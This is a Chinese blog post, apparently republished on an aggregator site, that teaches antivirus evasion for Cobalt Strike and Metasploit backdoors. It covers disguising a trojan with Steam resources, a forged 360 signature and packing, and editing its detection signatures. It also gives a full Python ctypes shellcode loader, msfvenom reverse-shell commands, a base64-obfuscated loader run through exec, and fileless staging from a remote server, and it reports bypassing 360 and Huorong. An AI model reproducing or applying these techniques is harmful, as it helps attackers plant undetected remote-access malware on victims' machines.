Python shellcode免杀

Posted 猪猪侠20

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python shellcode免杀相关的知识,希望对你有一定的参考价值。

Python shellcode免杀
一.前言
在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长。好用新兴的开源项目在短时间内就被分析并加入特征库。目前的免杀项目发布不久就会无法免杀,但也有两种可以发展的方向,一个是学习其思想,自己实现并去特征免杀;二是改造原有项目,自己查特征、去特征,经过测试也能达到免杀。
二.杀软检测方法
1.特征码检测
2.关联内容检测(比如在使用加载器加载shellcode时,需要开辟内存,将shellcode加载进内存,最后执行内存区域shellcode。这些步骤就被反病毒人员提取出来作为特征,在调用了一组开辟内存的函数比如virtualAlloc之后对该内存使用virtualProtect来更改标示位为可执行并且对该内存进行调用就会触发报毒)
3.动态行为检测(一般就是调用系统底层api,敏感函数会被杀软标识)
三.常用免杀技术
特征码修改
花指令免杀
加壳免杀
内存免杀
二次编译
分离免杀
资源修改
白名单免杀
由于本文篇幅有限所以就只涉及其中部分的几个技术点。首先我们先了解特征码的概念我本人的理解就是特征码是经过特定方法扫描病毒源代码后所得到的对于特定病毒的唯一标识。目前主流的APT工具 cobaltstrike 和msf 都已经被各大杀毒软件厂商盯上所以对于两款软件生成出来的后门毫无疑问肯定是秒被杀的。那么对于如何消去特征码呢?我认为主要分三个方面(1.针对exe外部修改,包括修改资源文件,加壳,修改数字签名2.用特征码定位工具myccl定位特征码区段修改其汇编指令3.自写shellcode loader对敏感函数进行加解密混淆,无文件落地,分离免杀等操作)
首先介绍我的第一种思路
这里我给大家用cobaltstrike演示 首先选择监听器生成木马

特征码很明显一生成就被火绒标识删除,那么我们可以对生成的后门木马进行资源替换,添加数字签名,加壳的方法打乱其原本的特征码使杀毒软件无法正常识别原有特征码实现免杀
首先打开工具Restorator资源修改工具,我们打算将后门文件的资源文件更换成我们常用的steam软件的资源文件

将后门exe拖入 和steam.exe拖入工具

我们进行替换操作将steam游戏的资源复制到后门程序上替换完成如图
保存退出发现我们后门程序的图标和信息已经改变

接下来我们利用k8工具修改数字签名360的签名

添加以后我们来到了最关键的一步就是进行加壳,在这里壳的选择也很有讲究,市面上有很多加壳产品有加密壳,压缩壳…等 所以我们在选择时候要根据自己后门不同的情况而选择,要注意加壳可能会影响原有程序的功能所以要逐一去尝试 不同的壳对于和杀毒软件对抗有不同的效果 免杀比较流行的压缩壳upx目前也已经被各大杀毒厂商盯上所以免杀效果不如人意在这里我给大家用Shielden这款优秀的加壳工具进行实验,打开软件载入我们的后门程序

在这里我们可以针对性的选择加壳选项,开发能力比较弱的师傅可以直接默认加壳
加壳完成我们进行查看

可以发现成功过了目前主流的杀毒软件360和火绒,并且上线正常

在这里介绍我的第二种思路
定位并且修改后门程序的特征码首先设置监听器生成后门beacon2.exe

很显然再一次被查杀,我们的思路就是用特征码定位工具进行定位特征码区段,打开myccl载入我们的后门程序,定位特征码的原理我个人理解就是将一整个程序段细分成好多小的程序段如何导出来用杀软进行查杀,被查杀的那个就是特征码所在的区段,然后再对刚刚被查杀的那个代码区段再进行细分,再导出来让杀软去查杀直到杀软不报毒说明已经定位到了特征码的区段,然后对特征码修改,这样的方法是最高效的但同时也是最鸡肋的有时候的特征码修改会导致程序无法正常运行,而且修改特征码需要有很强的汇编知识和逆向功底
定位特征码经典的有myccl工具,但这里为了节约时间我用virtest工具进行自动化定位特征码首先打开工具将后门文件载入制作成待测样本

然后载入待测样本下一步开始检测定位特征码

在这里我选择了自动确定选项程序会帮我们自动找出特征码区间

用c32asm打开我们的特征码区间00044E38和00045EB1
我们可以在他的接下来数据段加花指令和填充数据干扰其原有程序便移量比如

push ebp

push esp

pop ebp

add esp,-0C

add esp,0C

push eax

jmp入口

在这里我只能选择加花和填充垃圾数据绕过杀软但是很遗憾全部失败,那么为什么不选择修改汇编指令呢因为,在这里的汇编指令没有可以替换的语句,杀软对于这种cs或者msf生成出来的后门特征码标识的十分精细,很难通过修改apt工具的特征码绕过检测,特征码如图但是我们可以借用修改特征码这个思路去修改我们自写的后门病毒特征码,这样是很容易实现的。修改特征码应该是我们的一个思路。

分享我的第三个思路自写shellcoe 加载器
提到python免杀就必须知ctypes ctypes是 Python的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。具体可参考文末的官方文档,简单的来说就是引用了ctypes库就能在python中执行c的代码
废话不多说上代码:

-- coding: utf-8 --

import ctypes

Buf = # CS或者msf生成的ShellCode
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ctypes.c_int(0)
ctypes.c_int(len(shellcode))
ctypes.c_int(0x3000)
ctypes.c_int(0x40)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
lpThreadAttributes
dwStackSize
lpStartAddress
lpParameter
dwCreationFlags
lpThreadId
“”"
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
这个loader就是在内存中开辟一段内存空间然后将我们的生成出来的shellcode放入创建线程执行,用到了.VirtualAlloc函数去申请内存,这个函数还是比较敏感的,杀软对函数的查杀说白了还是对黑名单的限制这样总会有漏网之鱼,在github上有大佬写了很多c的利用不同函数的loader调用代码 所以我们理所当然需要对其进行代码混淆 有的方法并没有被杀毒软件标识。但是在这里我们以这个loader为例我们既然不需要这个特征码我们就需要对他进行代码混淆

我们首先在msf上生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=8000 -f py

然后放到loader中测试运行

成功上线 利用pyinstall 打包器打包exe生成出来被杀

我们进行代码混淆首先引入base64库 然后用msf对shellcode进行base64编码
msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost= ip lport=8000 -f py

增加代码

对base64先进行解码再传参代入并且将原本的shellcode loader
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
改写成一句话并且进行base64加密为
Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSk7YnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKTtjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoY3R5cGVzLmNfdWludDY0KHB0ciksIGJ1ZiwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSk7aGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLCBjdHlwZXMuY19pbnQoLTEpKQ==
然后通过exec(执行base64编码后的值)如图成功上线,这样我们对代码进行了混淆即shellcode混淆和shellcode loader混淆

生成出来的2.exe成功过掉360和火绒
继续进行优化那么如果我对shellcode和 shellcode loader分开呢?那就做到了分离免杀,那如果我把他们不放在本地资源而放到网络资源中呢那就做到了无文件落地,我通过http请求去从我的远程服务器上下载加密过后的shellcode和加密过后的shellcode loader那么就更加没有特征码再代码中只有请求远程资源的指令,
在我的远程服务器开启http服务并且创建1.txt放入base64加密过后的shellcode 2.txt放入加密过后的shellcode loader

注意踩坑(放入base64 的shellcode不要放入byte流的格式要放入字符串形式的shellcode可以自写脚本转换一下)
1.txt内容

2.txt内容

核心代码段成功收到会话

只有一件杀毒引擎报毒,杀毒效果十分理想
注(免杀效果 针对不同的语言的shellcode 和loader有不一样的效果,在这里只是演示了python 其他语言也可以做免杀 越小众语言效果越好,不同的exe打包器有不同效果这里实验用的是pyinstall 实际中还可以用py2exe打包,而且很有很有趣的一点代码中尽量避免出现敏感词汇这样也会降低查杀率,不同的壳也有不同的效果)

总结:免杀最主要的是思路,要打组合拳才能够免杀效果更好,比如最后的实验我还可以继续加壳,修改资源文件,数字签名等等,而且在代码混淆力度上还可以进行复杂高强度加密算法比如aes加解密 把base64加密再加一次密,这样对于杀毒引擎来说更加难进行还原源代码,总之就是尽可能的去消除特征码。而且还可以利用我们前面介绍的修改特征这是最直接的方法去绕过杀软。当然免杀还有其他技术比如白名单技术,二次编译等。这里篇幅有限没有办法继续深入讲下去。免杀是一个经久不衰的技术需要我们扩散思维 经常学习。免杀技术就是网络中的攻与防的实力较量。

以上是关于Python shellcode免杀的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试笔记之Python免杀——两行代码实现免杀!VT查杀率:10/68(思路:将ShellCode和Loader一起分离免杀)

Python shellcode免杀

免杀 | 利用Python免杀CS Shellcode

python3+Cobal Strikeshellcode免杀技术

shellcode免杀思路

shellcode 免杀